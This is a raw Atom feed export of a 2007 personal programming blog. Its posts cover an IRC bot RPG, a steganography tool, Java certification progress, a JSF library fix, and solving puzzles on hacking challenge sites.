type='html'>Just created a quick one for the new pyramid. Named "Chamber door". Not as hard as the others I have made but it goes really well with the ancient Egyptian background ;)&lt;br /&gt;Create an account at &lt;a href="http://www.rankk.org"&gt;the new pyramid&lt;/a&gt;, defeat the first 4 levels to give it a try guys :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3906957287594609417?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3906957287594609417/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3906957287594609417' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3906957287594609417'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3906957287594609417'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/08/new-java-applet-challenge.html' title='New Java applet challenge'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4557890937347347639</id><published>2007-08-07T13:02:00.000+01:00</published><updated>2007-11-13T06:39:19.238Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><category scheme='http://www.blogger.com/atom/ns#' term='rankk'/><title type='text'>bbq project - fourth release</title><content type='html'>Hey guys, it's been a long time.&lt;br /&gt;I have been quite busy (mostly reading HP7 :P) so there hasn't been much update to the bbq project.&lt;br /&gt;Anyway, a new version has just been released. Features including new items, new monsters and a new mechanism for monster spawning (mostly to control farming :P)&lt;br /&gt;Oh and &lt;a href="http://www.bright-shadows.net/userstats.php?username=sniperkid"&gt;sniperkid&lt;/a&gt; now provides the new host so bbq can be up most of the time ;)&lt;br /&gt;Also, I have started playing at a new challenge site: &lt;a href="http://www.rankk.org/"&gt;The new pyramid&lt;/a&gt;. Quite interesting. However with my skills and experience I have climbed to the 2nd place within only 9 days :)&lt;br /&gt;Come challenge me there!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4557890937347347639?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4557890937347347639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4557890937347347639' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4557890937347347639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4557890937347347639'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/08/bbq-project-fourth-release.html' title='bbq project - fourth release'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-6596173189698821183</id><published>2007-07-04T10:38:00.000+01:00</published><updated>2012-02-11T10:51:08.572Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='jsf'/><category scheme='http://www.blogger.com/atom/ns#' term='tomahawk'/><title type='text'>Yet another blog</title><content type='html'>Hey dude, are you out of mind? You have too many blogs already! Why create a new one?&lt;br /&gt;&lt;br /&gt;Hehe true. But since I'm working on too many different things I believe I really need a new blog. This one will be about problems I encounter on my projects (and surely the solutions to them). I hope this will help those who encounter the same problem as me.&lt;br /&gt;&lt;br /&gt;Now let's get onto the first problem.&lt;br /&gt;&lt;br /&gt;Since the return of an old friend who was fighting alongside with me in the fierce battle to wipe out all the evilness in this world, I am now working on a new project - Enfair (you'll hear more details about it soon :P). The project makes use of 2 common libraries - JSF and MyFaces Tomahawk. On his comp everything went smoothly without any problem. But on mine the stupid thing always refused to work by throwing a crazy exception:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;07/07/04 16:50:43 oracle.classloader.util.AnnotatedClassNotFoundException:&lt;br /&gt;&lt;br /&gt;     Missing class: [Ljava.lang.String;&lt;br /&gt;&lt;br /&gt;   Dependent class: com.sun.faces.config.ConfigureListener&lt;br /&gt;            Loader: current-workspace-app.web.Tomahawk-Project1-webapp:0.0.0&lt;br /&gt;       Code-Source: .../jdevstudio10132/jdev/mywork/Tomahawk/Project1/public_html/WEB-INF/lib/jsf-impl.jar&lt;br /&gt;     Configuration: WEB-INF/lib/ directory in .../jdevstudio10132/jdev/mywork/Tomahawk/Project1/public_html/WEB-INF/lib&lt;/pre&gt;&lt;br /&gt;This load was initiated at current-workspace-app.web.Tomahawk-Project1-webapp:0.0.0 using the loadClass() method.&lt;br /&gt;&lt;br /&gt;Been trying to resolve the problem without any luck, I tried deploying the project to Tomcat. A similar exception is thrown:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;java.lang.ClassNotFoundException: [Ljava.lang.String;&lt;br /&gt;   at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1358)&lt;br /&gt;   at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1204)&lt;/pre&gt;&lt;br /&gt;It has been bugging me for quite a while until I entered the right keyword on Google and found the solution.&lt;br /&gt;&lt;br /&gt;The problem was that Tomahawk and the JSF library bundled with JDeveloper were not fully compatible in Java 6. Fortunately there have been a new patch from &lt;a href="https://javaserverfaces.dev.java.net"&gt;https://javaserverfaces.dev.java.net&lt;/a&gt; to fix it. I downloaded version 1.2_04 P02 (23 May 2007) and it runs like a charm now :)&lt;br /&gt;&lt;br /&gt;So scary how a tiny problem could lead to a big disaster.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-6596173189698821183?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/6596173189698821183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=6596173189698821183' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6596173189698821183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6596173189698821183'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/07/yet-another-blog.html' title='Yet another blog'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8577888605415473187</id><published>2007-06-10T03:58:00.000+01:00</published><updated>2007-06-10T04:04:21.370+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><title type='text'>bbq project third release!</title><content type='html'>Finally! The nasty bugs with the listeners have been fixed! Wrong use of finalize method surely lead to disasters.&lt;br /&gt;Anyway, enjoy the new stable release! There have been too many features added since the second release so you should refer to the version history for more details.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8577888605415473187?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8577888605415473187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8577888605415473187' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8577888605415473187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8577888605415473187'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/06/bbq-project-third-release.html' title='bbq project third release!'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4135787449867365741</id><published>2007-06-07T07:42:00.000+01:00</published><updated>2007-06-07T07:53:51.677+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptobox'/><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><title type='text'>Challenge solved!! New Steganabara version soon :D</title><content type='html'>Finally solved &lt;span&gt;&lt;a href="http://www.bright-shadows.net/challenges/stegano/license_bara/index.php"&gt;Stegano 36: "You are granted a license!"&lt;/a&gt; [made by &lt;a class="fromuser" href="http://www.bright-shadows.net/userstats.php?username=BaRa"&gt;BaRa&lt;/a&gt;]. A crazy chall!&lt;br /&gt;Anyway, it inspired me to continue working on Steganabara, once again :P&lt;br /&gt;Well the next version will be a bugfix, which makes it fully functioning under Windows :P&lt;br /&gt;There's no planned new features yet, but maybe the CryptoBox will be improved too&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4135787449867365741?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4135787449867365741/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4135787449867365741' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4135787449867365741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4135787449867365741'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/06/challenge-solved-new-steganabara.html' title='Challenge solved!! New Steganabara version soon :D'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8324142412065292353</id><published>2007-05-30T08:49:00.000+01:00</published><updated>2007-11-13T06:40:09.898Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><category scheme='http://www.blogger.com/atom/ns#' term='hackquest'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='jbb'/><category scheme='http://www.blogger.com/atom/ns#' term='rpg'/><category scheme='http://www.blogger.com/atom/ns#' term='cvs'/><title type='text'>Something before the end of the month :P</title><content type='html'>Well here I am again, trying to post something before June comes.&lt;br /&gt;If you're looking for something new, this really is the right place.&lt;br /&gt;&lt;br /&gt;The bbq rpg is still going fine as ever. We now have level 5 spells and a whole load of new monsters and items. Most noticeable is the new combination of items and the addition of healing items. A supermarket will be there soon enough. And the trading feature is almost complete.&lt;br /&gt;The bad news is that there are bugs in the bj and hangman modules that I haven't been able to fix. So the next official release will be delayed a bit.&lt;br /&gt;Oh, before I forget to mention, I managed to find a cvs host for it at &lt;a href="http://www.cvsdude.com"&gt;CVSDude&lt;/a&gt;, and now bbq can be online longer being co-hosted by &lt;a href="http://www.bright-shadows.net/userstats.php?username=theAnswer"&gt;theAnswer&lt;/a&gt; and &lt;a href="http://www.bright-shadows.net/userstats.php?username=Gizmore"&gt;Gizmore&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In the meantime, I am now a JBB moderator leading a few exams. Hopefully we'll have new Swing exams soon :)&lt;br /&gt;&lt;br /&gt;The last thing I want to mention in this post is that I have come back to &lt;a href="http://www.hackquest.com/"&gt;hackquest&lt;/a&gt; and solved all the Linux challenges there! gdb rocks!&lt;br /&gt;Maybe I'll solve all the Linux challs @ tbs soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8324142412065292353?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8324142412065292353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8324142412065292353' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8324142412065292353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8324142412065292353'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/05/something-before-end-of-month-p.html' title='Something before the end of the month :P'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-6486509380491338127</id><published>2007-05-15T04:12:00.000+01:00</published><updated>2007-05-15T04:52:05.455+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><category scheme='http://www.blogger.com/atom/ns#' term='rpg'/><title type='text'>Long time again - am I too lazy?</title><content type='html'>Nope, just because I have been working on the bbq project everyday :P&lt;br /&gt;&lt;br /&gt;We have some big updates and a new release will surely come out this month.&lt;br /&gt;&lt;br /&gt;Notably are the addition of items, mvp monster bosses, spells up to level 4, autoheal and autospell.&lt;br /&gt;The cool smiley :D has been used wisely for dueling too :D.&lt;br /&gt;&lt;br /&gt;Don't forget to check the website for the cool new features. I'll update a version history soon enough so you can know what's actually going on (and maybe make some contribution :P)&lt;br /&gt;&lt;br /&gt;Any comments/suggestions are welcome!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-6486509380491338127?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/6486509380491338127/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=6486509380491338127' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6486509380491338127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6486509380491338127'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/05/long-time-again-am-i-too-lazy.html' title='Long time again - am I too lazy?'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-5151527490698593785</id><published>2007-04-27T08:58:00.000+01:00</published><updated>2007-04-27T09:04:34.816+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><category scheme='http://www.blogger.com/atom/ns#' term='rpg'/><title type='text'>bbq RPG goes official</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Finally the first official release of the bbq RPG. Now you can actually fight monsters with your friends :) At the moment only basic level 1 spells are available, but more will be added later.&lt;br /&gt;&lt;br /&gt;More details about the game can be found &lt;a href="http://www.freewebs.com/quangntenemy/bbq/rpg.html"&gt;here&lt;/a&gt;. Come join us on #tbs-botzone @ irc.idlemonkeys.net now!&lt;br /&gt;&lt;br /&gt;At the moment the game is only available when I'm online. Maybe I'll find a (free) IRC bot host? :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-5151527490698593785?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/5151527490698593785/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=5151527490698593785' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5151527490698593785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5151527490698593785'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/04/bbq-rpg-goes-official.html' title='bbq RPG goes official'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-9179456053696721339</id><published>2007-04-17T08:29:00.000+01:00</published><updated>2007-04-17T08:44:39.479+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><category scheme='http://www.blogger.com/atom/ns#' term='website'/><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><title type='text'>More updates :)</title><content type='html'>Hey guys,&lt;br /&gt;Some new updates from my projects :)&lt;br /&gt;&lt;br /&gt;Firstly, the website has been completely updated to comply with XHTML 1.0 Strict :) And it's now 100% table-less (if you click on the validation icon it'll say it's no 100% - stupid freewebs ads, I'll do something to have it changed)&lt;br /&gt;&lt;br /&gt;Secondly, Steganabara 1.0.8.2 has been released. Well, not a public release btw :P Other than me, theAnswer has the only copy :P Just a minor bug fix for the drag &amp;amp; drop feature support for Windows. If you are using another desktop environment other than KDE/Windows, and for some weird reason the feature isn't working, feel free to drop me a mail :)&lt;br /&gt;&lt;br /&gt;Thirdly, and our featured update today :) An update from the bbq project. There's no update to the bbq rpg and atm the Lamb-shadowrun is taking advantages. But a new bbq game is now catching the attentions :) Yes, it's the arcade game hangman that has been revived in an irc context :) There has been many attempts from theAnswer to cheat on the game, but on-time updates have been release to stop them all :) Come get hung at #tbs-botzone now!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-9179456053696721339?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/9179456053696721339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=9179456053696721339' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/9179456053696721339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/9179456053696721339'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/04/more-updates.html' title='More updates :)'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-671617838536324119</id><published>2007-04-08T11:57:00.000+01:00</published><updated>2007-04-08T12:04:23.366+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='table-less'/><category scheme='http://www.blogger.com/atom/ns#' term='website'/><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><title type='text'>Steganabara 1.0.8</title><content type='html'>Hey guys,&lt;br /&gt;Steganabara 1.0.8 is out :)&lt;br /&gt;It now provides full drag &amp;amp; drop support, with a brand new feature: color explorer (idea shamelessly taken from &lt;a href="http://www.bright-shadows.net/userstats.php?username=Phas%28retired%29"&gt;Phas&lt;/a&gt; :P)&lt;br /&gt;&lt;br /&gt;Next major release will be 1.1. If you have any cool idea that should be implemented, start contributing now :)&lt;br /&gt;&lt;br /&gt;Oh and in the meantime I'm upgrading my website to using table-less layout - Yay for the new W3C standard :) Once it is done then maybe we'll be migrating to a new webhost - &lt;a href="http://quangntenemy.searix.net"&gt;searix&lt;/a&gt; for better performance :)&lt;br /&gt;&lt;br /&gt;That's it for now! Stay tuned for the next chapter :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-671617838536324119?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/671617838536324119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=671617838536324119' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/671617838536324119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/671617838536324119'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/04/steganabara-108.html' title='Steganabara 1.0.8'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1221612120573232861</id><published>2007-04-06T15:57:00.000+01:00</published><updated>2007-04-06T16:00:53.055+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><title type='text'>Steganabara official release - 1.0.6</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;The Steganabara project first official release - 1.0.6.&lt;br /&gt;Almost all features mentioned in the last post have been implemented.&lt;br /&gt;Drag and drop support will be added soon.&lt;br /&gt;&lt;br /&gt;Download the new release now and play with various new features of the color map/table at &lt;a href="http://www.freewebs.com/quangntenemy/steganabara/Steganabara.jar"&gt;http://www.freewebs.com/quangntenemy/steganabara/Steganabara.jar&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1221612120573232861?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1221612120573232861/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1221612120573232861' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1221612120573232861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1221612120573232861'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/04/steganabara-official-release-106.html' title='Steganabara official release - 1.0.6'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4288300343139557012</id><published>2007-04-04T03:16:00.000+01:00</published><updated>2007-04-04T03:21:34.967+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><title type='text'>Steganabara - official release</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;I'm working on the Steganabara project again :)&lt;br /&gt;&lt;br /&gt;There will be an official release this month, featuring:&lt;br /&gt;- Drag &amp;amp; drop support (yay XD)&lt;br /&gt;- Color chooser (no need to type the hex color anymore)&lt;br /&gt;- Visual bit mask selector (no need for that long 0s and 1s sequence :P)&lt;br /&gt;- Quick color map chooser (yes, you can view the color map for every color from the color table now)&lt;br /&gt;&lt;br /&gt;Stay tuned for the next chapter :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4288300343139557012?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4288300343139557012/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4288300343139557012' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4288300343139557012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4288300343139557012'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/04/steganabara-official-release.html' title='Steganabara - official release'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4246878188157670495</id><published>2007-03-28T08:25:00.000+01:00</published><updated>2007-11-13T06:56:40.920Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='jbb'/><title type='text'>Brown belt</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OCNhupYc3g0/RgoYksf59OI/AAAAAAAAABo/kz90mj_-o94/s1600-h/brownbelt.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_OCNhupYc3g0/RgoYksf59OI/AAAAAAAAABo/kz90mj_-o94/s400/brownbelt.png" alt="" id="BLOGGER_PHOTO_ID_5046873351121401058" border="0" /&gt;&lt;/a&gt;Finally got the cool brown belt.&lt;br /&gt;Wasn't too hard with my skills :)&lt;br /&gt;What's my next target? There's still the huge J2EE part to conquer. And the bbq project of course ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4246878188157670495?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4246878188157670495/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4246878188157670495' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4246878188157670495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4246878188157670495'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/03/brown-belt.html' title='Brown belt'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_OCNhupYc3g0/RgoYksf59OI/AAAAAAAAABo/kz90mj_-o94/s72-c/brownbelt.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3242249210787347573</id><published>2007-03-27T10:30:00.000+01:00</published><updated>2007-03-27T10:38:57.407+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><category scheme='http://www.blogger.com/atom/ns#' term='jbb'/><title type='text'>J2SE = yummy :)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OCNhupYc3g0/RgjkvRCcQPI/AAAAAAAAABg/WrW0__0qBRU/s1600-h/reflection.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_OCNhupYc3g0/RgjkvRCcQPI/AAAAAAAAABg/WrW0__0qBRU/s400/reflection.png" alt="" id="BLOGGER_PHOTO_ID_5046534883147268338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Finally got all available Java SE exams passed at JBB.&lt;br /&gt;What's cool is that I got 100% in the Reflection exams, both beta and real.&lt;br /&gt;Maybe it's because I have made extended use of it in my bbq project :)&lt;br /&gt;Only 2 more points to get brown.&lt;br /&gt;Maybe my next target will be.. JUnit - Basic.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3242249210787347573?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3242249210787347573/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3242249210787347573' title='0 Comments'/><link rel='edit' type='application/atom+xml' 